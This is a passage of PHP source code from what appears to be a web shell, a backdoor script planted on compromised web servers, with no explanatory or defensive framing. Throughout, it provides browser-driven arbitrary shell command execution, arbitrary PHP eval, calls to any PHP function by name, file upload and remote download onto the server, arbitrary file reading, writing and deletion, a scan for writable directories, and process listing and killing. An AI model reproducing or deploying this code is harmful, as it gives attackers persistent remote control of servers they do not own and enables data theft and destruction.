1552         $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
1553       }
1554       else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
1555     }
1556     else { echo "No file to upload!"; }
1557   }
1558   if ($miniform) {
1559     echo "<b>".$uploadmess."</b>";
1560     $act = "ls";
1561   }
1562   else {
1563     echo "<table><tr><td colspan=2 class=barheader>".
1564          ".: File Upload :.</td>".
1565          "<td colspan=2>".$uploadmess."</td></tr>".
1566          "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>".
1567          "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
1568          "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
1569          "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
1570          "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
1571          "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
1572          "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
1573          "</form></td></tr></table>";
1574   }
1575 }
1576 if ($act == "delete") {
1577   $delerr = "";
1578   foreach ($actbox as $v) {
1579     $result = FALSE;
1580     $result = fs_rmobj($v);
1581     if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>"; }
1582   }
1583   if (!empty($delerr)) { echo "<b>Error deleting:</b><br>".$delerr; }
1584   $act = "ls";
1585 }
1586 if (!$usefsbuff) {
1587   if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {
1588     echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";
1589   }
1590 }
1591 else {
1592   if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ex_sess_put($sess_data); $act = "ls"; }
1593   elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ex_sess_put($sess_data); $act = "ls";}
1594   elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ex_sess_put($sess_data); $act = "ls";}
1595   if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ex_sess_put($sess_data);}
1596   elseif ($actpastebuff) {
1597     $psterr = "";
1598     foreach($sess_data["copy"] as $k=>$v) {
1599       $to = $d.basename($v);
1600       if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
1601       if ($copy_unset) {unset($sess_data["copy"][$k]);}
1602     }
1603     foreach($sess_data["cut"] as $k=>$v) {
1604       $to = $d.basename($v);
1605       if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
1606       unset($sess_data["cut"][$k]);
1607     }
1608     ex_sess_put($sess_data);
1609     if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
1610     $act = "ls";
1611   }
1612   elseif ($actarcbuff) {
1613     $arcerr = "";
1614     if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
1615     else {$ext = ".tar.gz";}
1616     if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
1617     $cmdline .= " ".$actarcbuff_path;
1618     $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
1619     foreach($objects as $v) {
1620       $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
1621       if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
1622       if (is_dir($v)) {
1623         if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
1624         $v .= "*";
1625       }
1626       $cmdline .= " ".$v;
1627     }
1628     $tmp = realpath(".");
1629     chdir($d);
1630     $ret = exexec($cmdline);
1631     chdir($tmp);
1632     if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
1633     $ret = str_replace("\r\n","\n",$ret);
1634     $ret = explode("\n",$ret);
1635     if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
1636     foreach($sess_data["cut"] as $k=>$v) {
1637       if (in_array($v,$ret)) {fs_rmobj($v);}
1638       unset($sess_data["cut"][$k]);
1639     }
1640     ex_sess_put($sess_data);
1641     if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
1642     $act = "ls";
1643   }
1644   elseif ($actpastebuff) {
1645     $psterr = "";
1646     foreach($sess_data["copy"] as $k=>$v) {
1647       $to = $d.basename($v);
1648       if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
1649       if ($copy_unset) {unset($sess_data["copy"][$k]);}
1650     }
1651     foreach($sess_data["cut"] as $k=>$v) {
1652       $to = $d.basename($v);
1653       if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
1654       unset($sess_data["cut"][$k]);
1655     }
1656     ex_sess_put($sess_data);
1657     if (!empty($psterr)) {echo "<b>Error pasting:</b><br>".$psterr;}
1658     $act = "ls";
1659   }
1660 }
1661 if ($act == "cmd") {
1662   @chdir($chdir);
1663   if (!empty($submit)) {
1664     echo "<div class=barheader>.: Results of Execution :.</div>\n";
1665     $olddir = realpath(".");
1666     @chdir($d);
1667     $ret = exexec($cmd);
1668     $ret = convert_cyr_string($ret,"d","w");
1669     if ($cmd_txt) {
1670       $rows = count(explode("\n",$ret))+1;
1671       if ($rows < 10) { $rows = 10; } else { $rows = 30; }
1672       $cols = 130;
1673       echo "<textarea class=shell cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>\n";
1674       //echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
1675     }
1676     else { echo $ret."<br>"; }
1677     @chdir($olddir);
1678   }
1679 }
1680 if ($act == "ls") {
1681   if (count($ls_arr) > 0) { $list = $ls_arr; }
1682   else {
1683     $list = array();
1684     if ($h = @opendir($d)) {
1685       while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
1686       closedir($h);
1687     }
1688   }
1689   if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
1690   else {
1691     $objects = array();
1692     $vd = "f"; //Viewing mode
1693     if ($vd == "f") {
1694       $objects["head"] = array();
1695       $objects["folders"] = array();
1696       $objects["links"] = array();
1697       $objects["files"] = array();
1698       foreach ($list as $v) {
1699         $o = basename($v);
1700         $row = array();
1701         if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
1702         elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
1703         elseif (is_dir($v)) {
1704           if (is_link($v)) {$type = "LINK";}
1705           else {$type = "DIR";}
1706           $row[] = $v;
1707           $row[] = $type;
1708         }
1709         elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
1710         $row[] = filemtime($v);
1711         if (!$win) {
1712           $ow = posix_getpwuid(fileowner($v));
1713           $gr = posix_getgrgid(filegroup($v));
1714           $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
1715         }
1716         $row[] = fileperms($v);
1717         if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
1718         elseif (is_link($v)) {$objects["links"][] = $row;}
1719         elseif (is_dir($v)) {$objects["folders"][] = $row;}
1720         elseif (is_file($v)) {$objects["files"][] = $row;}
1721         $i++;
1722       }
1723       $row = array();
1724       $row[] = "<b>Name</b>";
1725       $row[] = "<b>Size</b>";
1726       $row[] = "<b>Date Modified</b>";
1727       if (!$win) {$row[] = "<b>Owner/Group</b>";}
1728       $row[] = "<b>Perms</b>";
1729       $row[] = "<b>Action</b>";
1730       $parsesort = parsesort($sort);
1731       $sort = $parsesort[0].$parsesort[1];
1732       $k = $parsesort[0];
1733       if ($parsesort[1] != "a") {$parsesort[1] = "d";}
1734       $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
1735       $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
1736       $row[$k] .= $y;
1737       for($i=0;$i<count($row)-1;$i++) {
1738         if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
1739       }
1740       $v = $parsesort[0];
1741       usort($objects["folders"], "tabsort");
1742       usort($objects["links"], "tabsort");
1743       usort($objects["files"], "tabsort");
1744       if ($parsesort[1] == "d") {
1745         $objects["folders"] = array_reverse($objects["folders"]);
1746         $objects["files"] = array_reverse($objects["files"]);
1747       }
1748       $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
1749       $tab = array();
1750       $tab["cols"] = array($row);
1751       $tab["head"] = array();
1752       $tab["folders"] = array();
1753       $tab["links"] = array();
1754       $tab["files"] = array();
1755       $i = 0;
1756       foreach ($objects as $a) {
1757         $v = $a[0];
1758         $o = basename($v);
1759         $dir = dirname($v);
1760         if ($disp_fullpath) {$disppath = $v;}
1761         else {$disppath = $o;}
1762         $disppath = str2mini($disppath,60);
1763         if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
1764         elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
1765         foreach ($regxp_highlight as $r) {
1766           if (ereg($r[0],$o)) {
1767             if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; exshexit();}
1768             else {
1769               $r[1] = round($r[1]);
1770               $isdir = is_dir($v);
1771               if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
1772                 if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
1773                 $disppath = $r[2].$disppath.$r[3];
1774                 if ($r[4]) {break;}
1775               }
1776             }
1777           }
1778         }
1779         $uo = urlencode($o);
1780         $ud = urlencode($dir);
1781         $uv = urlencode($v);
1782         $row = array();
1783         if ($o == ".") {
1784           $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>";
1785           $row[] = "CURDIR";
1786         }
1787         elseif ($o == "..") {
1788           $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>";
1789           $row[] = "UPDIR";
1790         }
1791         elseif (is_dir($v)) {
1792           if (is_link($v)) {
1793             $disppath .= " => ".readlink($v);
1794             $type = "LINK";
1795             $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>";
1796           }
1797           else {
1798             $type = "DIR";
1799             $row[] =  "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>";
1800           }
1801           $row[] = $type;
1802         }
1803         elseif(is_file($v)) {
1804           $ext = explode(".",$o);
1805           $c = count($ext)-1;
1806           $ext = $ext[$c];
1807           $ext = strtolower($ext);
1808           $row[] =  "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>";
1809           $row[] = view_size($a[1]);
1810         }
1811         $row[] = @date("d.m.Y H:i:s",$a[2]);
1812         if (!$win) { $row[] = $a[3]; }
1813         $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
1814         if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
1815         else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
1816         if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;}
1817         else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;}
1818         if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
1819         elseif (is_link($v)) {$tab["links"][] = $row;}
1820         elseif (is_dir($v)) {$tab["folders"][] = $row;}
1821         elseif (is_file($v)) {$tab["files"][] = $row;}
1822         $i++;
1823       }
1824     }
1825     // Compiling table
1826     $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
1827     echo "<div class=barheader>.: ";
1828     if (!empty($fx_infohead)) { echo $fx_infohead; }
1829     else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
1830     echo " :.</div>\n";
1831     echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
1832          "<table class=explorer>";
1833     foreach($table as $row) {
1834       echo "<tr>";
1835       foreach($row as $v) {echo "<td>".$v."</td>";}
1836       echo "</tr>\r\n";
1837     }
1838     echo "</table>".
1839          "<script>".
1840          "function ls_setcheckboxall(status) {".
1841          " var id = 1; var num = ".(count($table)-2).";".
1842          " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
1843          "}".
1844          "function ls_reverse_all() {".
1845          " var id = 1; var num = ".(count($table)-2).";".
1846          " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
1847          "}".
1848          "</script>".
1849          "<div align=\"right\">".
1850          "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
1851          "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
1852     if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
1853       echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
1854     }
1855     echo "<select name=act><option value=\"".$act."\">With selected:</option>";
1856     echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
1857     echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
1858     if ($usefsbuff) {
1859       echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
1860       echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
1861       echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
1862     }
1863     echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>";
1864     echo "</form>";
1865   }
1866 }
1867 if ($act == "tools") { tools(); }
1868 
1869 ###[ PHP FILESYSTEM TRICKZ (By eX) ]
1870 ###
1871 if ($act == "phpfsys") { 
1872   echo "<div align=left>";
1873   $fsfunc = $phpfsysfunc;
1874   if ($fsfunc=="copy") {
1875     if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
1876     else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
1877   }
1878   elseif ($fsfunc=="rename") {
1879     if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
1880     else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
1881   }
1882   elseif ($fsfunc=="chmod") {
1883     if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
1884     else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
1885   }
1886   elseif ($fsfunc=="read") {
1887     $darg = $d.$arg1;
1888     if ($hasil = @file_get_contents($darg)) {
1889       echo "<b>Filename:</b> ".$darg."<br>";
1890       echo "<center><textarea cols=135 rows=30>";
1891       echo htmlentities($hasil);
1892       echo "</textarea></center>\n";
1893     }
1894     else { echo "<div class=fxerrmsg> Couldn't open ".$darg."<div>"; }
1895   }
1896   elseif ($fsfunc=="write") {
1897     $darg = $d.$arg1;
1898     if(@file_put_contents($darg,$arg2)) {
1899       echo "<b>Saved!</b> ".$darg;
1900     }
1901     else { echo "<div class=fxerrmsg>Can't write to $darg!</div>"; }
1902   }
1903   elseif ($fsfunc=="downloadbin") {
1904     $handle = fopen($arg1, "rb");
1905     $contents = '';
1906     while (!feof($handle)) {
1907       $contents .= fread($handle, 8192);
1908     }
1909     $r = @fopen($d.$arg2,'w');
1910     if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
1911     else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; }
1912     fclose($r);
1913     fclose($handle);
1914   }
1915   elseif ($fsfunc=="download") {
1916     $text = implode('', file($arg1));
1917     if ($text) {
1918       $r = @fopen($d.$arg2,'w');
1919       if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
1920       else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; }
1921       fclose($r);
1922     }
1923     else { echo "<div class=fxerrmsg>Can't download from $arg1!</div>";}
1924   }
1925   elseif ($fsfunc=='mkdir') {
1926     $thedir = $d.$arg1;
1927     if ($thedir != $d) {
1928       if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
1929       elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
1930       else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
1931     }
1932     else { echo "Can't create current dir:<b> $thedir</b>"; }
1933   }
1934   elseif ($fsfunc=='fwritabledir') {
1935     function recurse_dir($dir,$max_dir) {
1936       global $dir_count;
1937       $dir_count++;
1938       if( $cdir = dir($dir) ) {
1939         while( $entry = $cdir-> read() ) {
1940           if( $entry != '.' && $entry != '..' ) {
1941             if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
1942              if ($dir_count > $max_dir) { return; }
1943               echo "[".$dir_count."] ".$dir.$entry."\n";
1944               recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
1945             }
1946           }
1947         }
1948         $cdir->close();
1949       }
1950     }
1951     if (!$arg1) { $arg1 = $d; }
1952     if (!$arg2) { $arg2 = 10; }
1953     if (is_dir($arg1)) {
1954       echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>";
1955       echo "<pre>";
1956       recurse_dir($arg1,$arg2);
1957       echo "</pre>";
1958       $total = $dir_count - 1;
1959       echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2";
1960     }
1961     else {
1962       echo "<div class=fxerrmsg>Directory is not exist or permission denied!</div>";
1963     }
1964   }
1965   else {
1966     if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\n"; }
1967     else {
1968       if ($hasil = $fsfunc($arg1)) {
1969         echo "<b>Result of $fsfunc $arg1:</b><br>";
1970         if (!is_array($hasil)) { echo "$hasil\n"; }
1971         else {
1972           echo "<pre>";
1973           foreach ($hasil as $v) { echo $v."\n"; }
1974           echo "</pre>";
1975         }
1976       }
1977       else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; }
1978     }
1979   }
1980   echo "</div>\n";
1981 }
1982 if ($act == "processes") {
1983   echo "<div class=barheader>.: Processes :.</div>\n";
1984   if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); }
1985   else { $handler = "tasklist"; }
1986   $ret = exexec($handler);
1987   if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
1988   else {
1989     if (empty($processes_sort)) { $processes_sort = $sort_default; }
1990     $parsesort = parsesort($processes_sort);
1991     if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
1992     $k = $parsesort[0];
1993     if ($parsesort[1] != "a") {
1994       $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>";
1995     }
1996     else {
1997       $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
1998     }
1999     $ret = htmlspecialchars($ret);
2000     if (!$win) { //Not Windows
2001       if ($pid) {
2002         if (is_null($sig)) { $sig = 9; }
2003         echo "Sending signal ".$sig." to #".$pid."... ";
2004         if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; }
2005       }
2006       while (ereg("  ",$ret)) { $ret = str_replace("  "," ",$ret); }
2007       $stack = explode("\n",$ret);
2008       $head = explode(" ",$stack[0]);
2009       unset($stack[0]);
2010       for($i=0;$i<count($head);$i++) {
2011         if ($i != $k) {
2012           $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";
2013         }
2014       }
2015       $head[$i] = "";
2016       $prcs = array();
2017       foreach ($stack as $line) {
2018         if (!empty($line)) {
2019           $line = explode(" ",$line);
2020           $line[10] = join(" ",array_slice($line,10));
2021           $line = array_slice($line,0,11);
2022           if ($line[0] == get_current_user()) { $line[0] = "<font color=green>".$line[0]."</font>"; }
2023           $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
2024           $prcs[] = $line;
2025         }
2026       }
2027     }
2028     //For Windows - Fixed By eX
2029     else {
2030       while (ereg("  ",$ret)) { $ret = str_replace("  "," ",$ret); }
2031       while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); }
2032       $ret = convert_cyr_string($ret,"d","w");
2033       $stack = explode("\n",$ret);
2034       unset($stack[0],$stack[2]);
2035       $stack = array_values($stack);
2036       $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
2037       $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
2038       $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
2039       $head = explode(" ",$stack[0]);
2040       $stack = array_slice($stack,1);
2041       $head = array_values($head);
2042       if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; }
2043       else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; }
2044       if ($k > count($head)) {$k = count($head)-1;}
2045       for($i=0;$i<count($head);$i++) {
2046         if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
2047       }
2048       $prcs = array();
2049       unset($stack[0]);
2050       foreach ($stack as $line) {
2051         if (!empty($line)) {
2052           $line = explode(" ",$line);
2053           $line[4] = str_replace(".","",$line[4]);
2054           $line[4] = intval($line[4]) * 1024;
2055           unset($line[5]);
2056           $prcs[] = $line;
2057         }
2058       }
2059     }
2060     $head[$k] = "<b>".$head[$k]."</b>".$y;
2061     $v = $processes_sort[0];
2062     usort($prcs,"tabsort");
2063     if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); }
2064     $tab = array();
2065     $tab[] = $head;
2066     $tab = array_merge($tab,$prcs);
2067     echo "<table class=explorer>\n";
2068     foreach($tab as $i=>$k) {
2069       echo "<tr>";
2070       foreach($k as $j=>$v) {
2071         if ($win and $i > 0 and $j == 4) { $v = view_size($v); }
2072         echo "<td>".$v."</td>";
2073       }
2074       echo "</tr>\n";
2075     }
2076     echo "</table>";
2077   }
2078 }
2079 if ($act == "eval") {
2080   if (!empty($eval)) {
2081     echo "Result of execution this PHP-code:<br>";
2082     $tmp = @ob_get_contents();
2083     $olddir = realpath(".");
2084     @chdir($d);
2085     if ($tmp) {
2086       @ob_clean();
2087       eval($eval);
2088       $ret = @ob_get_contents();
2089       $ret = convert_cyr_string($ret,"d","w");
2090       @ob_clean();
2091       echo $tmp;
2092       if ($eval_txt) {
2093         $rows = count(explode("\r\n",$ret))+1;
2094         if ($rows < 10) {$rows = 10;}
2095         echo "<br><textarea cols=\"115\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
2096       }
2097       else {echo $ret."<br>";}
2098     }
2099     else {
2100       if ($eval_txt) {
2101         echo "<br><textarea cols=\"115\" rows=\"15\" readonly>";
2102         eval($eval);
2103         echo "</textarea>";
2104       }
2105       else {echo $ret;}
2106     }
2107     @chdir($olddir);
2108   }
2109   else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
2110   echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"115\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
2111 }
2112 if ($act == "f") {
2113   echo "<div align=left>";
2114   if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
2115     if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
2116     else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
2117   }
2118   else {
2119     $r = @file_get_contents($d.$f);
2120     $ext = explode(".",$f);
2121     $c = count($ext)-1;
2122     $ext = $ext[$c];
2123     $ext = strtolower($ext);
2124     $rft = "";
2125     foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
2126     if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
2127     if (empty($ft)) {$ft = $rft;}
2128     $arr = array(
2129         array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
2130         array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
2131         array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
2132         array("Code","code"),
2133         array("Session","phpsess"),
2134         array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
2135         array("SDB","sdb"),
2136         array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
2137         array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
2138         array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
2139         array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
2140         array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
2141     );
2142     echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
2143     foreach($arr as $t) {
2144       if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
2145       elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
2146       else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
2147       echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
2148     }
2149     echo "<hr size=\"1\" noshade>";
2150     if ($ft == "info") {
